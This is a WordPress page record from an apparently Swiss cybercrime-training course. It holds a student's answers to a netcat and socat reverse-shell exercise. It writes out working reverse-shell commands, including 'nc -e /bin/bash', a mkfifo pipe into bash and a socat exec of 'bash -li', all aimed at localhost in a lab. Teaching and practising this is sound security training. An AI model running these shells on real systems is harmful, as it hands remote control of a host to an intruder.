{"id":177,"date":"2021-02-26T14:30:21","date_gmt":"2021-02-26T14:30:21","guid":{"rendered":"https:\/\/cas.cybercop-training.ch\/?page_id=177"},"modified":"2021-05-31T14:23:35","modified_gmt":"2021-05-31T14:23:35","slug":"simple-reverse-shells","status":"publish","type":"page","link":"https:\/\/cas.cybercop-training.ch\/index.php\/simple-reverse-shells\/","title":{"rendered":"Simple Reverse Shells"},"content":{"rendered":"<h2>1. Introduction<\/h2>\n<p>After learning howto setup a tcp reverse shell with netcat and socat, please answer the following questions:<\/p>\n<ol>\n<li>Explain how the reverse shell works:\n<ul>\n<li>Who opens the TCP connection and to which IP \/ Port?<\/li>\n<li>Who opens the shell? Who has control over it? Which computer runs the<br \/>\ncommands entered?<\/li>\n<\/ul>\n<\/li>\n<li>Add a screenshot of the reverse shell, similar to the one in step 6<br \/>\n(make sure to show the active sessions and run at least one command on it)<\/li>\n<\/ol>\n<h2>2. Answers<\/h2>\n<ol>\n<li>netcat by default use always a tcp connection, but udp can be activated with the -u switch<br \/>\nThe command for the listener side (attacker) looks like this:<\/p>\n<blockquote>\n<p>nc -u -l -p 8080<\/p>\n<\/blockquote>\n<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/nc_1.png\" alt=\"\" \/><\/p>\n<p>The following command on the victim side won&#8217;t work, because UDP is connectionless:<\/p>\n<blockquote>\n<p>nc.traditional -u -e \/bin\/bash localhost 8080<\/p>\n<\/blockquote>\n<p>To establish a connection, I need to send a message to the listener side first. I did solve that by using mkfifo.<br \/>\nMy command looks like this now:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">mkfifo fifo\nnc.traditional -u localhost 8080 &lt; fifo | { echo \"Hi\" bash } &gt; fifo<\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/nc_2.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/nc_3.png\" alt=\"\" \/><\/p>\n<p>With soacat it looks like this:<br \/>\nCommand on the listener side (attacker)<\/p>\n<blockquote>\n<p>socat file:tty,raw,echo=0 UDP-L:8080<\/p>\n<\/blockquote>\n<p>Command on the victim side:<\/p>\n<blockquote>\n<p>socat exec:&#8217;bash -li&#8216;,pty,stderr,setsid,sigint,sane udp:localhost:8080<\/p>\n<\/blockquote>\n<ol start=\"2\">\n<li>Yes it could be possible, by entering the followin command:<br \/>\n<blockquote>\n<p>printf \u2018HTTP\/1.1 200 OK\\n\\n%s\u2019 \u201c$(cat test.html)\u201d | netcat -l 8999<\/p>\n<\/blockquote>\n<\/li>\n<\/ol>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/nc_4.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/nc_5.png\" alt=\"\" \/><\/p>\n<ol start=\"3\">\n<li>I don&#8217;t know if it&#8217;s possible with netcat, but with ncat it is. If there is also a possibility with netcat, please let me know.<br \/>\n<blockquote>\n<p>Among Ncat\u2019s vast number of features there is the ability to chain Ncats together, redirect both TCP and UDP ports to other sites, SSL support, and proxy connections via SOCKS4 or HTTP (CONNECT method) proxies (with optional proxy authentication as well). Some general principles apply to most applications and thus give you the capability of instantly adding networking support to software that would normally never support it.<\/p>\n<\/blockquote>\n<\/li>\n<\/ol>\n<p>Proxying command is:<\/p>\n<blockquote>\n<p>ncat -vv (victim) (port) &#8211;proxy (proxy):(port)<\/p>\n<\/blockquote>\n<ol start=\"3\">\n<li>Further Readings<br \/>\n<a href=\"https:\/\/www.howtoforge.de\/anleitunglinux-mkfifo-command-tutorial-fr-anfnger-mit-beispielen\/\">https:\/\/www.howtoforge.de\/anleitunglinux-mkfifo-command-tutorial-fr-anfnger-mit-beispielen\/<\/a><br \/>\n<a href=\"https:\/\/www.varonis.com\/blog\/netcat-commands\/\">https:\/\/www.varonis.com\/blog\/netcat-commands\/<\/a><br \/>\n<a href=\"https:\/\/nmap.org\/ncat\/guide\/index.html\">https:\/\/nmap.org\/ncat\/guide\/index.html<\/a><\/li>\n<\/ol>\n<p>PDF Report:<br \/>\n<a href=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/netcat1.pdf\" class=\"mtli_attachment mtli_pdf\" title=\"netcat#1\">netcat#1<\/a><\/p>\n<p>Solution by Teacher:<br \/>\n<a href=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/02\/netcat-solution.pdf\" class=\"mtli_attachment mtli_pdf\" title=\"netcat-solution\">netcat-solution<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Introduction After learning howto setup a tcp reverse shell with netcat and socat, please answer the following questions: Explain how the reverse shell works: Who opens the TCP connection and to which IP \/ Port? Who opens the shell? Who has control over it? Which computer runs the commands entered? Add a screenshot of [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-177","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/177","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/comments?post=177"}],"version-history":[{"count":7,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/177\/revisions"}],"predecessor-version":[{"id":1347,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/177\/revisions\/1347"}],"wp:attachment":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/media?parent=177"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}